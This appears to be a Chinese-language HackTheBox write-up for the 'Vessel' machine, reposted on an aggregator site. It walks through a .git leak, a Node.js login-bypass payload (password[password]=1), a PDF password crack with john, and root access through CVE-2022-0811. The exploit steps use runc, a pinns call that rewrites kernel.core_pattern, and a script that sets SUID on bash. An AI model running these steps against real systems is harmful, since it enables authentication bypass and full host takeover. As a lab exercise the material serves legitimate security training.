Vessel - Linux hackthebox

news/2024/4/15 5:04:09/文章来源:https://blog.csdn.net/yutianovo/article/details/136561572

#hard #runc #RE #Nodejs-SQLI

Enumeration

.git leak

使用 dumpall 下载 .git

打开 routes/index.js 可以看到网站使用 nodejs + mysql 编写,且只有登录功能

router.post('/api/login', function(req, res) {let username = req.body.username;let password = req.body.password;if (username && password) {connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {if (error) throw error;if (results.length > 0) {req.session.loggedin = true;req.session.username = username;req.flash('success', 'Succesfully logged in!');res.redirect('/admin');} else {req.flash('error', 'Wrong credentials! Try Again!');res.redirect('/login');}			res.end();});} else {res.redirect('/login');}
});

Bypass login

在这里找到了绕过的方法

Payload
username=admin&password[password]=1

得到一个子域名 http://openwebanalytics.vessel.htb/

Generate Access

nc 开启监听,运行脚本

得到 shell

来到 /home/steven 目录

www-data@vessel:/home/steven$ ls -al
ls -al
total 33796
drwxrwxr-x 3 steven steven     4096 Aug 11 14:43 .
drwxr-xr-x 4 root   root       4096 Aug 11 14:43 ..
lrwxrwxrwx 1 root   root          9 Apr 18  2022 .bash_history -> /dev/null
-rw------- 1 steven steven      220 Apr 17  2022 .bash_logout
-rw------- 1 steven steven     3771 Apr 17  2022 .bashrc
drwxr-xr-x 2 ethan  steven     4096 Aug 11 14:43 .notes
-rw------- 1 steven steven      807 Apr 17  2022 .profile
-rw-r--r-- 1 ethan  steven 34578147 May  4  2022 passwordGenerator
www-data@vessel:/home/steven$ cd .notes
cd .notes
www-data@vessel:/home/steven/.notes$ ls
ls
notes.pdf  screenshot.png

将 passwordGenerator、notes.pdf、screenshot.png 传输至 kali

reverse engineering

切换到 Windows VM
使用 IDA 打开 passwordGenerator,通过字符串窗口可以看到 Py 等字样
使用 pyinstxtractor 来反编译,之后将 pyc 转化为 py

python3 pyinstxtractor.py passwordGenerator>uncompyle6 passwordGenerator_extracted/passwordGenerator.pyc  > passwordGenerator.py

编写脚本生成密码,用于爆破 pdf

> pdf2john notes.pdf > pdf.hash> john -w=pass.txt pdf.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS (notes.pdf)

得到密码 b@mPRNSVTjjLKId1T

Privilege Escalation

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

ROOT

1、创建 /tmp/priv 目录,切到换到此目录,运行以下命令

runc spec --rootless
mkdir rootfs
vi config.json

2、在 config.json 中的 mounts 添加

{"type": "bind","source": "/","destination": "/","options": ["rbind","rw","rprivate"]
},

3、在 /tmp/priv 目录中运行容器

runc --root /tmp/priv run alpine

4、 在另一个 ssh 会话中创建一个 sh 脚本,用于得到 root 权限

echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/priv/priv.sh && chmod +x /tmp/priv/priv.sh

5、使用 pinns 更改 的值,使其发生 core dump 时触发 priv.sh

pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/priv/priv.sh #' --ipc --net --uts --cgroup

6、在容器里输入下面的命令

ulimit -c unlimited
tail -f /dev/null &
ps

7、在另一个 ssh 会话中结束 tail
kill -SIGSEGV 上面 ps 返回结果中的 tail 的 pid
8、现在查看 /usr/bin/bash,可以看到已经有 s 权限位置
bash -p
得到 root

notes:

runc spec --rootless
mkdir rootfs
vi config.json{"type": "bind","source": "/","destination": "/","options": ["rbind","rw","rprivate"]
},runc --root /tmp/priv run alpineecho -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/priv/priv.sh && chmod +x /tmp/priv/priv.shpinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/priv/priv.sh #' --ipc --net --uts --cgroupulimit -c unlimited
ulimit -c
tail -f /dev/null &
pskill -SIGSEGV 28942
ps

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_998758.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【自然语言处理六-最重要的模型-transformer-上】

自然语言处理六-最重要的模型-transformer-上 什么是transformer模型transformer 模型在自然语言处理领域的应用transformer 架构encoderinput处理部分(词嵌入和postional encoding)attention部分addNorm Feedforward & add && NormFeedforw…

uniapp的h5端在线预览文件

步骤如下&#xff1a; 1、下载需要准备的工具文件包 2、将其解压到/static/pdf文件夹下,如图&#xff1a; 3、创建在线查看文件的页面&#xff1a; <template><view><web-view :src"path"></web-view></view> </template>&l…

#微信小程序(布局、渲染层基础知识)

1.IDE&#xff1a;微信开发者工具 2.实验&#xff1a; 3.记录: &#xff08;1&#xff09;view&#xff08;类似于div&#xff09; &#xff08;2&#xff09;块级元素不占满一行且水平均分布局flex,justify(space-around) &#xff08;3&#xff09;滚动<scroll view sc…

css使用

文章目录 一、什么是CSS二、CSS导入方式三、CSS选择器四、CSS属性 一、什么是CSS <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title><style>div{color: red;}</style> &…

Tonka Finance,BTCFi 浪潮的发动机

在 2023 年年初&#xff0c;Ordinals 技术方案为比特币 Layer1 带来了一种全新的资产发行方式&#xff0c;此后一场以比特币生态为主战场的新一轮资金、注意力价值争夺战打响&#xff0c;并且越来越多的加密原教旨主义者、密码极客们加入这场战争中。我们看到&#xff0c;铭文市…

【K8S】一种基于Istio+Okteto下的快乐开发模式

自从服务上云引入K8S后&#xff0c;我们开发模式也发生了改变。我们最能想到的一种开发流程就是&#xff1a; 首先用ide编写业务代码其次&#xff0c;编译打包成镜像&#xff0c;并上传至habor接着&#xff0c;通过kubectl edit deployment替换镜像或者通过helm --install的方…

少儿编程机器人技术架构解析与实现流程

随着科技的飞速发展&#xff0c;少儿编程机器人成为了越来越受欢迎的教育工具&#xff0c;为孩子们提供了学习编程的新途径。在这篇文章中&#xff0c;我们将深入探讨少儿编程机器人的技术架构和实现过程&#xff0c;揭示背后的技术原理和开发策略。同时&#xff0c;我们也将介…

穿越牛熊,股市的春天还有多远?

2023年&#xff0c;资本市场的严冬令无数投资者和机构投资者都感受到了前所未有的压力。VC/PE、公募基金、股权投资类公司等机构&#xff0c;在这一年里业绩普遍不佳&#xff0c;寒意弥漫。VC/PE机构的营业收入普遍呈现负增长&#xff0c;公募基金更是历史上首次连续两年亏损&a…

Halcon基本语法

Halcon是什么&#xff1f; Halcon&#xff08;全称为Halcon Imaging Library&#xff09;是由德国MVTec Software GmbH开发的一套功能强大的机器视觉软件库。Halcon提供了丰富的图像处理和机器视觉算法&#xff0c;用于解决各种工业和科学领域中的视觉检测、识别和测量等问题。…

重学SpringBoot3-WebMvcAutoConfiguration类

重学SpringBoot3-WebMvcAutoConfiguration类 是什么什么用生效条件作用 自定义配置的三种方式自定义配置举例1. 自定义 DispatcherServlet 配置2. 静态资源配置3. 自定义MVC配置4. 消息转换器5. 异常处理 是什么 org.springframework.boot.autoconfigure.web.servlet.WebMvcAut…

HTML---表单验证

文章目录 目录 本章目标 一.表单验证概述 二.表单选择器 属性过滤选择器 三.表单验证 表单验证的方法 总结 本章目标 掌握String对象的用法会使用表单选择器的选择页面元素会使用JQuery事件进行表单验证Ajax的概念和作用 一.表单验证概述 前端中的表单验证是在用户提交表…

Vision Transformer结构解析

Vision Transformer结构解析 ViT简介ViT参数量ViT三大模块ViT图像预处理模块——PatchEmbed多层Transformer Encoder模块MLP&#xff08;FFN&#xff09;模块 基本的Transformer模块Vision Transformer类的实现Transformer知识点网络结构计算复杂度对比Transformer的参数量和计…

C#,煎饼排序问题(Pancake Sorting Problem)算法与源代码

1 煎饼排序问题 给定一个未排序的数组&#xff0c;任务是对给定数组进行排序。您只能在阵列上执行以下操作。 翻转&#xff08;arr&#xff0c;i&#xff09;&#xff1a;将数组从0反转为i 示例&#xff1a; 输入&#xff1a;arr[]{23、10、20、11、12、6、7} 输出&#xff1a…

通过联合部署DDoS高防和WAF提升网站防护能力

如果您的网站遭受的攻击既有流量型攻击&#xff0c;又混杂精巧的Web应用层攻击时&#xff08;例如SQL注入、跨站脚本攻击、命令注入等&#xff09;时&#xff0c;推荐您组合使用阿里云DDoS高防和Web 应用防火墙 WAF&#xff08;Web Application Firewall&#xff09;&#xff0…

B端系统优化,可不是换个颜色和图标,看看与大厂系统的差距。

Hi&#xff0c;我是贝格前端工场&#xff0c;优化升级各类管理系统的界面和体验&#xff0c;是我们核心业务之一&#xff0c;欢迎老铁们评论点赞互动&#xff0c;有需求可以私信我们 一、不要被流于表面的需求描述迷惑。 很多人找我们优化系统界面&#xff0c;对需求总是轻描淡…

springboot整合redis redis连idea

首先是maven项目里pom.xml添加依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-redis</artifactId> </dependency> 然后是application.properties 中增加redis配置 spring.redis.host=lo…

C++ 标准库类型string

C/C总述&#xff1a;Study C/C-CSDN博客 目录 定义和初始化string对象 string的增 使用push_back进行尾插 使用insert插入 使用append函数完成string的拼接 string的删 使用pop_back进行尾删 使用erase删除 string的查 使用find函数正向搜索第一个匹配项 使用rf…

ArcGIS学习(十二)ModelBuilder参数化建模

ArcGIS学习(十二)ModelBuilder参数化建模 1.ModelBuilder应用基础 本任务给大家带来的是ArcGIS中一个非常有意思也很重要的模块一-ModelBuilder。ModelBuilder有什么用呢? 大家设想一下这些场景: 你在做一项复杂研究,使用到ArcGIS中的多个工具和步骤,包括缓冲区分析、空…

【查找算法】插值查找

文章目录 一&#xff1a;插值查找**代码公式&#xff1a;int mid left (right - left) * (findVal - arr[left]) / (arr[right] - arr[left]);**1.1 基本概念1.2 基本思想1.3 原理介绍 二&#xff1a;代码实现 一&#xff1a;插值查找 代码公式&#xff1a;int mid left (…

Python笔记|基础算数运算+数字类型(1)

重新整理记录一下python的基础知识 基础运算符 、-、*、/ &#xff1b;括号 ()用来分组。 >>>2 2 4 >>>50 - 5*6 20 >>>(50 - 5*6) / 4 5.0 >>>8 / 5 1.6向下取整除法&#xff1a;向下舍入到最接近的整数的数学除法。运算符是 //。比如1…